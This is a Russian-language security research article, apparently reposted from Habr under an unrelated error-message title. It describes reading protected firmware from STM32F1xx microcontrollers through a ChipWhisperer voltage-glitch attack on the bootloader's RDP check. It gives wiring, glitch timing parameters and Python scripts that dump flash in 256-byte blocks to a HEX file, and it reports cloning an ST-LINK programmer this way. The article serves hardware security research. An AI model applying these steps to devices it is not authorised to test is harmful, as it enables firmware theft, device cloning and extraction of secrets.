Error: Swim Prog Error [42008]: Attempt to Write to Protected Area

Считывание защищенной прошивки из флеш-памяти STM32F1xx с использованием ChipWhisperer

В предыдущей статье мы разбирались с Vcc-glitch-атаками при помощи ChipWhisperer. Нашей дальнейшей целью стало поэтапное изучение процесса считывания защищенной прошивки микроконтроллеров. С помощью подобных атак злоумышленник может получить доступ ко всем паролям устройства и программным алгоритмам. Яркий пример – взлом аппаратного криптокошелька Ledger Nano S с платой МК STM32F042 при помощи Vcc-glitch-атак.

Интересно? Давайте смотреть под кат.

О возможности считывания защищенной прошивки мы узнали из статьи, в которой приведены результаты выполнения Vcc-glitch-атаки – обхода байта защиты RDP через масочный загрузчик (bootloader) для нескольких микроконтроллеров (далее – МК). Также рекомендуем к прочтению статью о взломе ESP32.

Теоретической базой исследования послужило руководство успешного считывания защищенной прошивки для LPC1114 через масочный загрузчик с использованием ChipWhisperer.

Так же, как и в первой статье, мы решили проводить эксперименты на плате МК STM32F103RBT6:

Плата STM32F103RBT6

Возможность записи данных в сектор флеш-памяти и RAM-памяти или их чтения, а также выполнения других действий с памятью МК определяется значением байта защиты (для STM32 – RDP). Для разных МК значения и назначение байтов защиты, а также алгоритм их проверки различается.

Аппаратная настройка

Приступим к проведению эксперимента. Для начала необходимо подключить ChipWhisperer к МК согласно рисунку:

Схема подключения ChipWhisperer к STM32 для считывания защищенной прошивки через масочный загрузчик

На схеме зачеркнуты элементы, которые следует удалить из платы STM32F103RBT6 (в отличие от стандартного подключения МК). Стрелками обозначены места подключения ChipWhisperer, а подписями – его пины.

Наличие внешнего кварца, представленного на схеме, не обязательно, поскольку при работе с масочным загрузчиком плата МК STM32F103RBT6 использует внутренний CLOCK с частотой 24 МГц, поэтому синхронизация между ChipWhisperer и МК отсутствует.

Перейдем к настройке ChipWhisperer. Как уже было отмечено выше, рекомендуемая частота работы ChipWhisperer – 24 МГц (или другое кратное значение). Чем выше кратность этой частоты, тем точнее можно настроить момент атаки. Из-за отсутствия синхронизации подбор параметра scope.glitch.offset необязателен, ему можно присвоить любое значение.

Параметры scope.glitch.repeat и scope.glitch.width необходимо подбирать в зависимости от установленной частоты ChipWhisperer. При большом значении частоты все кратковременные импульсы, количество которых устанавливается при помощи scope.glitch.repeat, сливаются в один длительный импульс. Поэтому можно подбирать значение параметра scope.glitch.width, а scope.glitch.repeat зафиксировать, либо наоборот. Мы обнаружили, что оптимальная длительность импульса должна составлять около 80 нс (определяется как ширина импульса на его полувысоте).

Осталось подобрать значение параметра scope.glitch.ext_offset.

Подбор scope.glitch.ext_offset

Сначала необходимо выбрать момент атаки. Согласно схеме, представленной в документе компании STM, проверка значения байта защиты выполняется после получения запроса на чтение данных сектора флеш-памяти:

Алгоритм ответа на запрос о чтении данных сектора флеш-памяти

Чтобы удостовериться в верности такой схемы проверки, мы считали исполняемый код загрузчика подобного МК без защиты RDP через ST-Link. На рисунках ниже показаны части алгоритма обработки команды Read Memory command.

Общий вид обработки команды чтения памяти (хорошо видны вызов функции проверки RDP и посылка NACK в случае неудачной проверки)

Тело функции проверки RDP

Обратим внимание на тело функции проверки RDP: видно, что происходит чтение регистра по адресу 0x40022000 + 0x1C, логический сдвиг на 30 разрядов и ветвление. Из документации PM0075 Programming manual (STM32F10xxx Flash memory microcontrollers) становится понятно, что 0x40022000 – это базовый адрес контроллера flash memory, а 0x1C – это смещение регистра FLASH_OBR, в котором нас интересует второй бит RDPRT: Read protection, в котором содержится статус защиты RDP.

Необходимый момент проведения атаки – отработка инструкции LDR (загрузки из памяти). Эта инструкция располагается между запросом на чтение прошивки (отправление байта 0x11 с контрольной суммой 0xEE) и ответом ACK/NOACK МК по UART. Для того чтобы визуально зафиксировать этот момент, необходимо подключить осциллограф к UART1_RX (пин PA10) и UART1_TX (пин PA9), а затем отслеживать изменение напряжения по UART1. В результате осциллограмма атаки по питанию с подобранным значением scope.glitch.ext_offset должна выглядеть примерно так:

Выбор момента проведения атаки

Скрипт считывания прошивки

Теперь необходимо указать момент срабатывания триггера CW_TRIG в коде Python с целью перехвата момента передачи контрольной суммы по UART1_RX. У ChipWhisperer есть библиотека для общения с масочным загрузчиком МК STM32. В штатном режиме эта библиотека используется для загрузки на МК прошивок из руководств при помощи класса class STM32FSerial(object), расположенного в файле programmer_stm32fserial.py по пути software/chipwhisperer/hardware/naeusb/. Для активации срабатывания триггера необходимо скопировать этот класс в главный исполняемый скрипт, чтобы метод класса CmdGeneric(self, cmd) стал глобально доступным, и добавить команду scope.arm() до передачи контрольной суммы (0xEE) запроса на считывание сектора памяти. Итоговый класс приведен в спойлере ниже.


Класс для общения ChipWhisperer с STM32

              import time import sys import logging from chipwhisperer.common.utils import util from chipwhisperer.hardware.naeusb.programmer_stm32fserial import supported_stm32f from chipwhisperer.capture.api.programmers import Programmer  # class which can normally using internal CW library for reading STM32 firmware by UART class STM32Reader(Programmer):     def __init__(self):         super(STM32Reader, self).__init__()         self.supported_chips = supported_stm32f          self.slow_speed = False         self.small_blocks = True         self.stm = None      def stm32prog(self):          if self.stm is None:             stm = self.scope.scopetype.dev.serialstm32f         else:             stm = self.stm          stm.slow_speed = self.slow_speed         stm.small_blocks = self.small_blocks          return stm      def stm32open(self):         stm32f = self.stm32prog()         stm32f.open_port()      def stm32find(self):         stm32f = self.stm32prog()         stm32f.scope = self.scope         sig, chip = stm32f.find()      def stm32readMem(self, addr, lng):         stm32f = self.stm32prog()         stm32f.scope = self.scope         #answer = stm32f.readMemory(addr, lng)         answer = self.ReadMemory(addr, lng)         return answer      def stm32GetID(self):         stm32f = self.stm32prog()         stm32f.scope = self.scope         answer = stm32f.cmdGetID()         return answer      # Needed for connection to STM after reload by reset_target(scope) method     def FindSTM(self):         #setup serial port (or CW-serial port?)         stm32f = self.stm32prog()          try:             stm32f.initChip()         except IOError:             print("Failed to detect chip. Check following: ")             print("   1. Connections and device power. ")             print("   2. Device has valid clock (or remove clock entirely for internal osc).")             print("   3. On Rev -02 CW308T-STM32Fx boards, BOOT0 is routed to PDIC.")             raise          boot_version = stm32f.cmdGet()         chip_id = stm32f.cmdGetID()          for t in supported_stm32f:             if chip_id == t.signature: #                print("Detected known STMF32: %s" % t.name)                 stm32f.setChip(t)                 return chip_id, t #        print("Detected unknown STM32F ID: 0x%03x" % chip_id)         return chip_id, None            

Следует обратить внимание на то, что масочный загрузчик STM32F1хх позволяет считывать за один запрос не более 256 байт прошивки из указанного сектора флеш-памяти. Поэтому при считывании всей прошивки МК необходимо в ходе Vcc-glitch-атаки выполнить несколько запросов на чтение. Затем полученные 256 байт следует разбить на восемь 32-байтных массивов и сформировать из них файл формата HEX.


Код HEX-конвертера и вспомогательные функции

              def int2str_0xFF(int_number, number_of_bytes):     return '{0:0{1}X}'.format(int_number,number_of_bytes_in_string)  def data_dividing_from_256_to_32_bytes (data_to_divide, mem_sector, mem_step=32):     if mem_sector > 0xFFFF:         mem_conversion = mem_sector >> 16         mem_conversion = mem_sector - (mem_conversion << 16)     data_out = ''     for i in range(int(256/mem_step)):         data_vector = data_to_divide[(i * mem_step):((i + 1) * mem_step)]         mem_calc = mem_conversion + (i * mem_step)         data_out += read_and_convert_data_hex_file(data_vector, mem_calc, mem_step) + '\n'     return data_out  def read_and_convert_data_hex_file(data_to_convert, memory_address, mem_step):     addr_string = memory_address -((memory_address >> 20) << 20)      data_buffer = ''     crcacc = 0     for x in range(0, len(data_to_convert)):         data_buffer += int2str_0xFF(data_to_convert[x], 2)         crcacc += data_to_convert[x]      crcacc += mem_step      temp_addr_string = addr_string     for i in range (4, -1, -2):         crcacc += temp_addr_string >> i*4         temp_addr_string -= ((temp_addr_string >> i*4) << i*4)      crcacc_2nd_symbol = (crcacc >> 8) + 1     crcacc = (crcacc_2nd_symbol << 8) - crcacc     if crcacc == 0x100:         crcacc = 0     RECTYP = 0x00     out_string = ':'+ Int_To_Hex_String(mem_step, 2)  +\         Int_To_Hex_String((addr_string),4) +\         Int_To_Hex_String(RECTYP, 2) +\         data_buffer +\         Int_To_Hex_String(crcacc, 2)     return out_string  def send_to_file(info_to_output, File_name, directory):     file = open(directory + File_name + '.hex', 'w')     file.write(info_to_output)     file.close()  def reset_target(scope):     scope.io.nrst = 'low'     time.sleep(0.05)     scope.io.nrst = 'high'  from collections import namedtuple Range = namedtuple('Range', ['min', 'max', 'step'])                          

Настройка параметров ChipWhisperer завершена. Итоговый скрипт на считывание прошивки выглядит следующим образом:


          # string of start HEX file Start_of_File_Record = ':020000040800F2' # string of end HEX file End_of_File_Record = ':00000001FF'  length_of_sector = 256 if length_of_sector % 4 != 0:     sys.exit('length_of_sector must be equal to 4')  output_to_file_buffer = '' output_to_file_buffer += Start_of_File_Record + '\n'  mem_current = mem_start while mem_current < mem_stop:     # flush the garbage from the computer's target read buffer     target.ser.flush()     # run aux stuff that should run before the scope arms here     reset_target(scope)     # initialize STM32 after each reset     prog.FindSTM()      try:         # reading of closed memory sector         data = prog.stm32readMem(mem_current, length_of_sector)     except Exception as message:         message = str(message)         if "Can't read port" in message: #            print('Port silence')             pass         elif 'Unknown response. 0x11: 0x0' in message: #            print('Crashed. Reload!')             pass         elif 'NACK 0x11' in message: #            print('Firmware is closed!')             pass         else: #            print('Unknown error:', message, scope.glitch.offset, scope.glitch.width, scope.glitch.ext_offset)             pass      else:         data_to_out = data_dividing_from_256_to_32_bytes (data, mem_current)         print(data_to_out)         output_to_file_buffer += data_to_out     mem_current += length_of_sector  output_to_file_buffer += End_of_File_Record + '\n' send_to_file(output_to_file_buffer, File_name, directory)        

Все закомментированные сообщения print() после строчки except Exception as помогают отслеживать состояние МК при поиске оптимальных параметров glitch-импульса. Для отслеживания конкретного состояния МК достаточно раскомментировать необходимое сообщение print().

Результаты считывания

На видео продемонстрирована загрузка прошивки на МК через программатор ST-LINK, перевод RDP в состояние защиты и последующее считывание прошивки:


Успешному проведению Vcc-glitch-атаки могут помешать следующие ошибки:

• считывание неверного сектора памяти;

• самопроизвольное удаление прошивки.

Избежать подобных ошибок поможет точный выбор момента атаки путем увеличения частоты работы ChipWhisperer.

После разработки и отладки алгоритма считывания защищенной прошивки мы провели тестовое считывание прошивки программатора ST-LINK-V2.1, который работает на МК STM32F103CBT6. Считанную прошивку мы зашили на «чистый» МК STM32F103CBT6 и установили его вместо заводского. В результате ST-LINK-V2.1 с замененным МК работал в нормальном режиме, будто подмены не было.

Также мы попробовали провести серию атак на STM32F303RCT7. Этот МК в ходе атаки вел себя идентично STM32F103RBT6, но ответ на запрос чтения памяти содержал байт, равный 0х00, что не совпадало с ожидаемым нами результатом. Причина такой неудачи заключалась в более сложном и развитом принципе организации защиты этих МК.

В МК STM32F1xx существует два состояния защиты: защита выключена (Level 0) и включена (Level 1). В старших моделях предусмотрено три состояния защиты: защита отключена (Level 0, RDP = 0x55AA), защита флеш- и SRAM-памяти (Level 2, RDP = 0x33CC) и защита только флеш-памяти (Level 1, RDP принимает любые значения, отличные от 0x55AA и 0x33CC). Поскольку Level 1 может принимать множество значений RDP, установить Level 0 достаточно тяжело. С другой стороны, существует возможность понижения уровня защиты с Level 2 на Level 1 сбиванием одного бита в байте RDP (показано на рисунке ниже), что открывает доступ к SRAM-памяти.

Сравнение значений RDP для разных уровней защиты прошивки

Остается только понять, как этим может воспользоваться злоумышленник. Например, с помощью метода CBS (Cold-Boot Stepping), описанного в этой статье. Этот метод основан на поэтапном снимке состояния SRAM-памяти (периодичность выполнения каждого снимка была в районе микросекунды) после загрузки МК с целью получения ключей шифрования, скрытых паролей или любой другой ценной информации. Авторы предполагают, что метод CBS сработает на всех сериях МК STM32.

Выводы

Подведем итоги наших экспериментов. Выполнение Vcc-glitch-атаки с использованием данных, полученных в результате предыдущего исследования (о котором можно прочитать здесь), заняло у нас несколько дней. А значит, научиться проводить подобные атаки достаточно легко.

Vcc-glitch-атаки опасны тем, что от них сложно защититься. Для уменьшения вероятности успешного проведения подобных атак предлагается использовать МК с более высоким уровнем защиты.

Raccoon Security – специальная команда экспертов НТЦ «Вулкан» в области практической информационной безопасности, криптографии, схемотехники, обратной разработки и создания низкоуровневого программного обеспечения.


Error: Swim Prog Error [42008]: Attempt to Write to Protected Area

Source: https://habr.com/ru/company/ntc-vulkan/blog/483732/

0 Response to "Error: Swim Prog Error [42008]: Attempt to Write to Protected Area"

Enviar um comentário

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel